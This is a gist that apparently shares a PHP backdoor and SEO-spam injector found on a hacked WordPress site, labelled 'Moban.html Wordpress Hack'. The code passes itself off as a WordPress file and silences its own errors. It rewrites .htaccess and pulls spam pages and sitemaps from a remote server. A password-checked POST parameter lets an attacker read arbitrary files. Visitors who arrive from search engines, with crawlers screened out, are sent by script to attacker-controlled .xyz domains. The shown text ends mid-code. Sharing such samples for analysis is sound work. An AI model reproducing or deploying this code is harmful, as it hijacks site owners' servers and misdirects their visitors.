Skip to content

Instantly share code, notes, and snippets.

@dahifi
Created April 8, 2020 19:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dahifi/3c41d5625b4e11afba89d80f3a9b8837 to your computer and use it in GitHub Desktop.
Save dahifi/3c41d5625b4e11afba89d80f3a9b8837 to your computer and use it in GitHub Desktop.
Moban.html Wordpress Hack
<?php
/**
* academy column devise drift evil gear holy liberal nucleus opportunity oxygen radical religion removal scandal seminar shiver simplicity substitute suspicious tend the usage victim yield.
* auxiliary dusk garbage giant illusion marine pants particle sensible variation vocabulary withdraw.
* agent bacteria calendar catalog expend extinct infant integrate marveous mist territory.
* acquire applause breed deposit exceed export geography jail moist naked nonsense obstacle pat priority sake shrink significance spray spur vacuum weave.
* abuse alter aspect auxiliary conservation data expend extent exterior hestiate holy impose jungle magnet nuisance profitable reinforce relevant retail ruin scratch simplify suspicion vehicle.
* appropriate casual data deposit emotion gaze hatred launch navigation oblige orchestra parade parallel release tension theme.
* applicant boundary emotion emphasize geometry golf interpretation knot marine moisture nuisance opponent petroleum provision secure strategy suspicion undergraduate.
* catalog expansion previous prominent respond twist utilify vehicle weed.
* absolute attach dusk encounter inferior radical vague.
* adjust continual debt display ferfile lest liquor loosen neutral radiation remarkable software talent urgent vain vary vocabulary.
* decline devise dive entry evil highlight identify launch nuclear odd parade participate restrain route suspicious timber undergraduate.
* advertise boundary capture evolve expand garbage inhabitant insignificant jealous mission moist prevail render reputation ridiculous solar suburb valley violent.
* emotion entertainment episode equation exclaim lean passion reveal temporary torture.
* academic adapt arise beforehand blast bundle catalog emotional equivalent personnel shrink treaty volume.
* response adequate adhere breadth bundle comedy community continual episode evolve generate likelihood motive prohibit reinforce remarkable repetition scandal stripe substance temporary tide transform.
* appropriate arbitrary cargo comparable descend legislation mainland medium relevant render snap tarnest vitally weed.
* appetite appreciate expel legislation opportunity.
*
* @package WordPress
*/
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@set_time_limit(3600);
define("DOMTXT","/jd1/");
define("GETDATE","http://www.datecenter.com/api/?key=");
define("CENTERKEY",0);
define("MYDIR", "/amabestde20200401-30/");
define("FNUM",95);
define("JGNUM","40");
define("LINKNUM","8");
define("BZSITE","u");
define("BZPRO","m");
define("BZCAT","j");
//msbg
define("JDT","0");
//msend
//msidbg
define("MSID",3544);
//mssidend
//keyjgbg
define("KEYJG",99);
//keyjgend
//randnumIbg
define("RANDNUMI",2);
//randnumIend
//randnumIIbg
define("RANDNUMII",12);
//randnumIIend
//pnamelenbg
define("PNAMELEN",52);
//pnamelenend
//jthouzuibg
define("JTHZ","/");
//jthouzuiend
// #llqllq#arr_nametimebg
$arrnametime[]="3";
$arrnametime[]="2";
$arrnametime[]="1";
$arrnametime[]="4";
// #llqllq#arr_nametimeend
// #llqllq#arr_wordbg
$arr_word[0][] ="4";$arr_word[0][] ="2";$arr_word[0][] ="2";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="2";$arr_word[1][] ="2";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="2";$arr_word[1][] ="4";$arr_word[2][] ="4";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="2";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[2][] ="4";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[4][] ="2";$arr_word[4][] ="4";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[4][] ="2";$arr_word[4][] ="4";$arr_word[4][] ="4";$arr_word[4][] ="3";$arr_word[4][] ="2";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="2";$arr_word[5][] ="4";$arr_word[5][] ="4";$arr_word[5][] ="2";$arr_word[5][] ="4";$arr_word[5][] ="2";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[8][] ="4";$arr_word[8][] ="2";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="2";$arr_word[8][] ="3";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[9][] ="4";$arr_word[9][] ="4";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="4";$arr_word[9][] ="2";$arr_word[10][] ="2";$arr_word[10][] ="4";$arr_word[10][] ="3";$arr_word[10][] ="2";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[11][] ="4";$arr_word[11][] ="3";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="4";$arr_word[11][] ="2";$arr_word[11][] ="4";$arr_word[11][] ="3";
// #llqllq#arr_wordend
$arrKeywz[]="6";
$arrKeywz[]="4";
$arrKeywz[]="8";
$arrKeywz[]="9";
$arrKeywz[]="10";
$arrKeywz[]="12";
$arrKeywz[]="11";
$arrKeywz[]="5";
$arrKeywz[]="7";
// #llqllq#arrBreadbg
$arrBread[]="v-breadcrumb";
$arrBread[]="crumbs-nag";
$arrBread[]="Breadcrumb-Heads";
$arrBread[]="breadHeads clearfix";
$arrBread[]="BreadcrumbTop row";
$arrBread[]="crumbsTops";
$arrBread[]="breadHeads row";
$arrBread[]="breadtops row";
$arrBread[]="";
$arrBread[]="crumbs";
$arrBread[]="BreadcrumbNavigation";
$arrBread[]="crumbsHead row";
$arrBread[]="BreadcrumbTops row";
$arrBread[]="BreadcrumbTop clearfix";
$arrBread[]="";
$arrBread[]="Breadcrumb-Head";
$arrBread[]="crumbs clearfix";
$arrBread[]="BreadcrumbHeads clearfix";
$arrBread[]="BreadcrumbTops clearfix";
$arrBread[]="crumbs-head clearfix";
$arrBread[]="breadtop row";
$arrBread[]="Breadcrumb";
$arrBread[]="breadcrumb clearfix";
$arrBread[]="crumbs-head row";
$arrBread[]="breadHead clearfix";
$arrBread[]="l-breadcrumb row";
$arrBread[]="crumbsHeads";
$arrBread[]="crumbs-nag clearfix";
$arrBread[]="navBreadCrumb clearfix";
$arrBread[]="breadLists";
$arrBread[]="BreadcrumbTops";
$arrBread[]="cs-breadcrumb";
$arrBread[]="crumbsTop row";
$arrBread[]="page-breadcrumbs clearfix";
$arrBread[]="crumbsTops row";
$arrBread[]="chrome-breadcrumbs";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="";
$arrBread[]="BreadcrumbLists clearfix";
$arrBread[]="bread-List row";
$arrBread[]="cs-breadcrumb row";
$arrBread[]="Breadcrumb-Top clearfix";
$arrBread[]="Breadcrumb-Top";
$arrBread[]="c-breadcrumb";
$arrBread[]="breadtops clearfix";
$arrBread[]="crumbs-top clearfix";
$arrBread[]="chrome-breadcrumbs row";
$arrBread[]="page-breadcrumbs row";
$arrBread[]="";
$arrBread[]="s-breadcrumb";
$arrBread[]="crumbList clearfix";
$arrBread[]="crumbs-head";
$arrBread[]="Breadcrumb clearfix";
$arrBread[]="breadtop";
$arrBread[]="el-breadcrumb row";
$arrBread[]="crumbsTop";
$arrBread[]="breadList";
$arrBread[]="Bread";
$arrBread[]="crumbs-top";
$arrBread[]="Breadcrumb-Heads clearfix";
$arrBread[]="Breadcrumb-Head row";
$arrBread[]="breadList clearfix";
$arrBread[]="breadcrumb row";
$arrBread[]="BreadcrumbTop";
$arrBread[]="navBreadCrumb row";
$arrBread[]="cs-breadcrumb clearfix";
$arrBread[]="ant-breadcrumb clearfix";
$arrBread[]="";
$arrBread[]="bread-List";
$arrBread[]="crumb-list clearfix";
$arrBread[]="crumbsHeads clearfix";
$arrBread[]="navBreadCrumbs";
$arrBread[]="v-breadcrumb clearfix";
$arrBread[]="l-breadcrumb";
$arrBread[]="doc-crumb row";
$arrBread[]="BreadcrumbLists row";
$arrBread[]="navBreadCrumb";
$arrBread[]="customBreadcrumb";
$arrBread[]="s-breadcrumb row";
$arrBread[]="bread-List clearfix";
$arrBread[]="ant-breadcrumb row";
$arrBread[]="customBreadcrumb row";
$arrBread[]="BreadHead";
$arrBread[]="breadtop clearfix";
$arrBread[]="page-breadcrumbs";
$arrBread[]="crumbs-nag row";
$arrBread[]="s-breadcrumb clearfix";
$arrBread[]="Breadcrumb-Heads row";
$arrBread[]="";
$arrBread[]="crumbList row";
$arrBread[]="Bread clearfix";
$arrBread[]="v-breadcrumb row";
$arrBread[]="BreadHead clearfix";
$arrBread[]="";
$arrBread[]="Bread row";
$arrBread[]="BreadcrumbNavigation row";
$arrBread[]="";
$arrBread[]="breadLists row";
$arrBread[]="crumbsHead clearfix";
$arrBread[]="breadList row";
$arrBread[]="crumbsHead";
$arrBread[]="c-breadcrumb clearfix";
$arrBread[]="c-breadcrumb row";
$arrBread[]="";
$arrBread[]="";
$arrBread[]="Breadcrumb-Head clearfix";
$arrBread[]="crumbsTops clearfix";
$arrBread[]="ant-breadcrumb";
$arrBread[]="chrome-breadcrumbs clearfix";
$arrBread[]="breadHead";
$arrBread[]="crumbs-top row";
$arrBread[]="crumb-list row";
$arrBread[]="el-breadcrumb";
$arrBread[]="breadHeads";
$arrBread[]="pages-breadcrumbs row";
$arrBread[]="breadcrumb";
$arrBread[]="navBreadCrumbs row";
$arrBread[]="";
$arrBread[]="doc-crumb";
$arrBread[]="BreadcrumbNavigation clearfix";
$arrBread[]="el-breadcrumb clearfix";
$arrBread[]="BreadcrumbLists";
$arrBread[]="pages-breadcrumbs clearfix";
$arrBread[]="crumb-list";
$arrBread[]="breadHead row";
$arrBread[]="doc-crumb clearfix";
$arrBread[]="BreadcrumbHeads";
$arrBread[]="crumbsTop clearfix";
$arrBread[]="BreadcrumbHeads row";
$arrBread[]="crumbList";
$arrBread[]="BreadHead row";
$arrBread[]="navBreadCrumbs clearfix";
$arrBread[]="customBreadcrumb clearfix";
$arrBread[]="pages-breadcrumbs";
$arrBread[]="crumbsHeads row";
$arrBread[]="crumbs row";
$arrBread[]="Breadcrumb row";
$arrBread[]="Breadcrumb-Top row";
$arrBread[]="breadLists clearfix";
$arrBread[]="breadtops";
// #llqllq#arrBreadend
// #llqllq#arr_fuhao
$arrfh[]="Top Christmas gifts 2018";
$arrfh[]="for Christmas";
$arrfh[]="Christmas gift shop";
$arrfh[]="Christmas gift";
$arrfh[]="Christmas Supplies";
$arrfh[]="Holiday presents";
$arrfh[]="Christmas Decoration";
$arrfh[]="Xmas Ornaments";
$arrfh[]="Christmas gift store";
$arrfh[]="Christmas gift ideas 2018";
$arrfh[]="Holiday Gifts";
$arrfh[]="Christmas gift ideas";
$arrfh[]="Xmas";
$arrfh[]="best Christmas gift";
$arrfh[]="Christmas Holiday";
$arrfh[]="Best Christmas gifts 2018";
$arrfh[]="Christmas Gifts 2018";
$arrfh[]="Christmas presents";
$arrfh[]="Christmas Ornament";
$arrfh[]="Unique Christmas Gifts";
// #llqllq#arr_fuhaoend
$q1 = "O00O0O"; $q2 = "O0O000"; $q3 = "O0OO00"; $q4 = "OO0O00"; $q5 = "OO0000"; $q6 = "O00OO0"; $q7 = "O00O00"; $q8 = "O00OOO"; $$q1 = RandAbcs();
// #llqllq#randkeybg
$strRand[0]="cqiuydntamkfpljxwrhsogebvz";
$strRand[1]="cvdftwgrjheuynslqpkmxioabz";
$strRand[2]="fvaydtbhqnecjgmlwkzxpiusro";
$strRand[3]="edtszhmlpkgyqcvixowajfrubn";
$strRand[4]="hofuzkntdgmlbexsyjpcarwvqi";
$strRand[5]="bhkslzvuejqyxwimgodacpntfr";
$strRand[6]="rjfamdknltiwcyhozgxbsqevup";
$strRand[7]="jnywivfehtqxobzpracsklmudg";
$strRand[8]="ckwjaondbiuytvlpmrhzxgsqef";
$strRand[9]="yklauejtrzpmogsnibdfvcwhxq";
$strRand[10]="ezqbugivtoflhjpkrncxmwsday";
$strRand[11]="xajywpqurkbhzsicemovglntfd";
$strRand[12]="mntwrfsqjvzkigxdhcylpbouae";
$strRand[13]="pwsbhzynkdmxuacftroivegjql";
$strRand[14]="sjtyenlvacpkwfrbhguzqidmox";
$strRand[15]="hwbmjrnuqafgvydesxoicpkztl";
$strRand[16]="dwzxoglqfpajbvmcutiykhrens";
$strRand[17]="zcsamiewdrjkbpfthyvlxoqgnu";
$strRand[18]="xcpnmwsvaoifrdeqklhgbzjuty";
$strRand[19]="dbfwonlezvsyjctkigrauxhqmp";
$strRand[20]="fxbtdjlpuresnqkhivmowczyga";
$strRand[21]="amhqlukgnzwrdfbypxoctiesjv";
$strRand[22]="fphwskryqmtxagiludcnzjvboe";
$strRand[23]="pqcgmbkwzaxnviefldjosruyht";
$strRand[24]="zcrhgkvwunpetasxidyqfbmloj";
$strRand[25]="efjlbogknxayhspzuqdvwirctm";
$strRand[26]="bcrnqdyevimspfalkwxojzhgtu";
$strRand[27]="pwvbzitsgndralkjoqcumyfxeh";
$strRand[28]="rsmtbcedwknpxlyajghqozifvu";
$strRand[29]="sjoyliwephvfdnbugrkmqtczxa";
$strRand[30]="klnaxswfcgjqipemhboyurvtzd";
$strRand[31]="eozfylrbxcpvwdumthasgjniqk";
$strRand[32]="angxeqksfthucpmbzryilwovdj";
$strRand[33]="aktfxrsndhvluegiqycmpwzobj";
$strRand[34]="akjpigzvcwsrhfynloqxmtbdeu";
$strRand[35]="ohawyldtsugpxbirzcvenkjmqf";
$strRand[36]="qktshrfxaiebowmnpjvuglycdz";
$strRand[37]="yhfrvpsdqwnoluiexmzkcjbgat";
$strRand[38]="xofnjzketurcydqiwmlhgasvpb";
$strRand[39]="ibrdpxktsuqcmafyzwelhngvoj";
$strRand[40]="egyxznfadjhklcsrquvtmwpoib";
$strRand[41]="nvtixcoybmpqswgjaukerhfdlz";
$strRand[42]="lyxcuneqimvohpfdakwzgstjbr";
$strRand[43]="lduyrmwxfqgzkbitjvcpsnehao";
$strRand[44]="hvpukasijxymdbfrgzntcqelow";
$strRand[45]="nrzgwpjdvusfikbqehmlctyoax";
$strRand[46]="btjhupyfglmwoecndzaxvsriqk";
$strRand[47]="rzdpugxmvfylkbhsejqwiotacn";
$strRand[48]="sflnkxpqbajetvryimhdouczwg";
$strRand[49]="nurpwfjvykeaidcqbhzxtslgom";
$strRand[50]="eclouasdxwfzbyihnvprtqgkmj";
$strRand[51]="ujxszwkhqaldtcbroyvpmefgni";
$strRand[52]="hbwmrnuieydsxapjotcvlkfgqz";
$strRand[53]="ewaglvxrmkfcihqyszjotpnudb";
$strRand[54]="ayztvhkjxsefbgorqunpmdiclw";
$strRand[55]="xsuycabkjrtnomzphgdvwqilfe";
$strRand[56]="fygcsxzoprhbtwdnlmqievukja";
$strRand[57]="gpvzuciofjernbqtlawyhmdskx";
$strRand[58]="tymwilxhezsobgpnjrufavqcdk";
$strRand[59]="vdmshywnilojprtcxqagbukefz";
$strRand[60]="oikrtzmshqxvpuegbanywfcdjl";
$strRand[61]="zcmpskaujirbvlxotyfqewghnd";
$strRand[62]="syxenjvgokhzmlbduwptqrcfia";
$strRand[63]="torclafigupendzvjkxmbsqhwy";
$strRand[64]="kbomzipcsexuvatwjlfrhgdyqn";
$strRand[65]="qphgzdnbuxyoirwcjftvlamkes";
$strRand[66]="hxneucrvypmjsztkfbwalidqog";
$strRand[67]="clwbfatmdseynvpzuqgiorhkjx";
$strRand[68]="bjeytwcfzvhrsoxailkqdngump";
$strRand[69]="ydlakgzrmhoiecpxsnutwvqfjb";
$strRand[70]="ihaecslvtmjkgnwfrpzdqyxuob";
$strRand[71]="wepbgrnmodsychzvfqlijtkxau";
$strRand[72]="eambgrpwfsjlqhxvcukydotinz";
$strRand[73]="cpelxdjuvhfqwsogmyarikztbn";
$strRand[74]="ehtwkyguzlcvaidonfpqmrbjxs";
$strRand[75]="tazowqpyifdumhsrxjekglcvnb";
$strRand[76]="ykrlwhnujzfqtaiogbdevsmxpc";
$strRand[77]="sknjdxvtauofwlyrgbiqpczhme";
$strRand[78]="bwqjmxucyvgtifkehpozdrasnl";
$strRand[79]="jbzlasvdchekmpigxuqytfronw";
$strRand[80]="gfscajlwnuxtmyohvezrdqbkip";
$strRand[81]="hrvxnitgwdjlfmqakyszcueobp";
$strRand[82]="gnelpjamhdysvtfkbcwrqzixou";
$strRand[83]="gaoryvuwqketxjhnlpmdszcfib";
$strRand[84]="xyqdrufnozkhatljpgsviwmebc";
$strRand[85]="jhdkwgclqfsnarptexbyuzmivo";
$strRand[86]="ytiuawcomfdgenrhzjkbvqlpxs";
$strRand[87]="bxkhpvowcuisjtqydgamznlref";
$strRand[88]="irufphnscxzejdwbaygmltkovq";
$strRand[89]="oafpsrdbgtvuzjcxyqhkmneliw";
$strRand[90]="mhgvxjdnctkelfoaryqswbuzip";
$strRand[91]="tfjmkgohvdupncqiwlyraexzsb";
$strRand[92]="jgqncmwbfylavhproudisxzkte";
$strRand[93]="zhqenoipjdvmcbfyurktsxglaw";
$strRand[94]="hjpsxyarqtznmgcewvfikdbulo";
$strRand[95]="tszuyjpriwxfkdovecmlhqbagn";
$strRand[96]="ngiqvzjlxeapwytmrobuscfhkd";
$strRand[97]="qfplwtcijnsyhekobxgumzrdva";
$strRand[98]="yhsflvxzmrukbetcogwjdpanqi";
$strRand[99]="kewojfmdtiuqbcvnshpzyxlarg";
// #llqllq#randkeyend
$thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
define("GETDOM",getthisdom());
//
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
$arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};}
$Arrrarr = array_flip($arrArrr);
$stss = 'transferdm';
$stss2 = 'deliverym';
if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
$O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0);
if (! is_dir("../webstruct"))
mkdir("../webstruct", 0755);
global $gnumber;
$gnumber = 1;
$bgNum = (int)trim($_GET["gsitemap"]);
$mapnum = (int)trim($_GET["mapnum"]);
if($bgNum > FNUM)
die("The Number Must Lower Then " . FNUM);
$arrNumTemp = getMapNum($bgNum,$mapnum);
$rs = '#<map>(.*)</map>#si';
$mapLogs = file_get_contents("./map.log");
foreach($arrNumTemp as $vss){
$vals = "id$vss.php";
if(strstr($mapLogs,'#web' . $arrABC[$gnumber-1] . 'struct' .'.xml#') && file_exists('../webstruct/web' . $arrABC[$gnumber-1] . 'struct' .'.xml')){
echo $vals."<br/>";
echo '../webstruct/web' . $arrABC[$gnumber-1] . 'struct' .'.xml successed<br/>';
$gnumber++;
continue;
}
for($i=0; $i<3; $i++){
$idUrl = GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
$arrIdNameNow = array();
if(preg_match($rs,$tempIdStr,$matchIdName)){
$tparrIdName = explode('^^',$matchIdName[1]);
foreach($tparrIdName as $vs){
$tpArr = explode('^',$vs);
if(count($tpArr) == 2){
$arrIdNameNow[$tpArr[0]] = $tpArr[1];
}elseif(count($tpArr) > 2){
$tpstr = '';
for($j=1; $j<count($tpArr); $j++){
$tpstr .= $tpArr[$j] . ' ';
}
$tpstr = trim($tpstr);
$arrIdNameNow[$tpArr[0]] = $tpstr;
}
}
break;
}
}
if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){
echo "g sitemap fail<br/>";
die();
}
echo $vals."<br/>";
if($gnumber == 1){
if(JDT == 1){
gsitemap($arrIdNameNow,2,1); }else{
gsitemap($arrIdNameNow,1,2); }
}else{
if(JDT == 1){
gsitemap2($arrIdNameNow,2,1); }else{
gsitemap2($arrIdNameNow,1,2); }
}
unset($arrIdNameNow,$tempArr1,$tempArr2); }
}
if(isset($_GET["ghtac"]) && $_GET["ghtac"]){
$dirNames = dirname(__FILE__);
$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
$PreDir = '';
if(JDT == 1){
$UrlBaseDir = $httcReplace; $RewriteOnDir = '';
}else{
$UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/';
}
$strhtt = '';
if (file_exists("$PreDir.htaccess")){
@chmod("$PreDir.htaccess",0755);
$strhtt = file_get_contents("$PreDir.htaccess");
}
if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
{
$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';
}else{
$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);
}
if(1){
$r0 = '#(.*RewriteEngine On.*)#i';
$r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i';
if(JDT == 0){
$rsut = '\1'.PHP_EOL .'RewriteRule ^'. '(\d+)/.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule ^'. '.*-'. BZPRO .'(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZCAT .'-(.*)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ;
$rsut2 = PHP_EOL .'RewriteRule ^'. '(\d+)/.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule ^'. '.*-'. BZPRO .'(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZCAT .'-(.*)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ;
}else{
$rsut = '\1'.PHP_EOL .'RewriteRule ^'. '(\d+)/.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule ^'. '.*-'. BZPRO .'(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZCAT .'-(.*)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ;
$rsut2 = PHP_EOL .'RewriteRule ^'. '(\d+)/.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule ^'. '.*-'. BZPRO .'(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZCAT .'-(.*)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ;
}
if(preg_match($r0,$strhtt)){
$strhtt = preg_replace($r0,$rsut,$strhtt,1);
}elseif(preg_match($r1,$strhtt)){
$strhtt = preg_replace($r1,$rsut,$strhtt,1);
}else{
$strhtt = preg_replace($r2,$rsut2,$strhtt,1);
}
if(JDT == 1 or JDT == 0){
file_put_contents("$PreDir.htaccess", $strhtt);
}
}
die("ghtac ok");
}
if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#'; die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$fileArr = array();$flag = 1;$fileArr['index'] = filesize(__FILE__);if(file_exists("./moban.html")){$fileArr['moban'] = filesize("./moban.html");}else{$flag = 0;$fileArr['moban'] = -1;}echo 'error---'. serialize($fileArr) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
if(JDT==2){
$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){
$tempSid = ''; $tempPid = '';
$r2='#-(\d+)'. JTHZ .'$#i'; $r3='#[-/]' .'(\d+)[-/]$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1]; }else{
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
$tempPid = $matches13[1]; }
if($tempPid){
$_GET['id']= $tempPid;
}
}
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
$tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword'];
$r2='#-(\d+)$#i'; $r3='#[-/]'.'(\d+)$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1]; }else{
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
$tempPid = $matches13[1]; }
if($tempPid){
$_GET['id']= $tempPid;
}
}
function getRandStr(){
$arrABC = range('a','z'); shuffle($arrABC);
$randNum = rand(4,6);
$str = implode('',array_slice($arrABC,0,$randNum));
return $str;}
if(isset($_GET["id"]))
$id = $_GET["id"];
else{
if(isset($_GET["cat"])){
$rqurl = $_GET["cat"];
$logFileName = './idlogs.txt';
if(file_exists($logFileName)){
$arrUrlId = unserialize(file_get_contents($logFileName));
}else{
$arrUrlId = array();
}
if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
$id = $arrUrlId[$rqurl];
}else{
$arrUrlId[$rqurl] = getRandCId($rqurl);
$id = $arrUrlId[$rqurl];
file_put_contents($logFileName,serialize($arrUrlId));
@touch(dirname($logFileName), $fLogTime, $fLogTime);
@touch($logFileName, $fLogTime, $fLogTime);
}
}else{
$id = "764167"; //llq index id
}
}
$resid = '#^\d+$#';
if(!preg_match($resid,$id)){
exit;
}
$id23 = $id;
$siteid = MSID;
$siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
// $_SERVER["HTTP_REFERER"] = "google.com";
if(isset($_SERVER["HTTP_REFERER"])){
$referer = $_SERVER["HTTP_REFERER"];
$russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';
$ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') );
$localIp = get_real_ip();
$is_or_no = is_ip($localIp,$ipRanges);
$iszz = isCrawler();
if(function_exists('gethostbyaddr')){
$hostname = @gethostbyaddr($localIp);
$is_g_ip = preg_match("#google#i", "$hostname") === 1;
}else{
$is_g_ip = 0;
}
if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
$rsdom = '#^https?://www\.[^/]+/$#i';
$jumDom1 = 'http://www.'.$stss.'.xyz'. DOMTXT . $siteid .".txt";
$jumDom2 = 'http://www.'.$stss2.'.xyz'. DOMTXT . $siteid .".txt";
for($i=0;$i<2;$i++){
$domJump = curl_getjs_from_webpage($jumDom1,2);
$domJump = trim($domJump);
if(!preg_match($rsdom,$domJump)){
$domJump = curl_getjs_from_webpage($jumDom2,10);
$domJump = trim($domJump);
if(preg_match($rsdom,$domJump))
break;
}else{
break;
}
}
echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $domJump . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>'; die();
}
}
$fcontent = '';
$pInfoUrl = GETDOM . "gpage.php?site=$thisdom&id=$siteAID";
$pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
$rsInfo = '#<info>(.*)</info>#si';
preg_match($rsInfo,$pInfoStr,$matchInfo);
if(isset($matchInfo[1])){
$InFoStrArr = unserialize($matchInfo[1]);
}else{
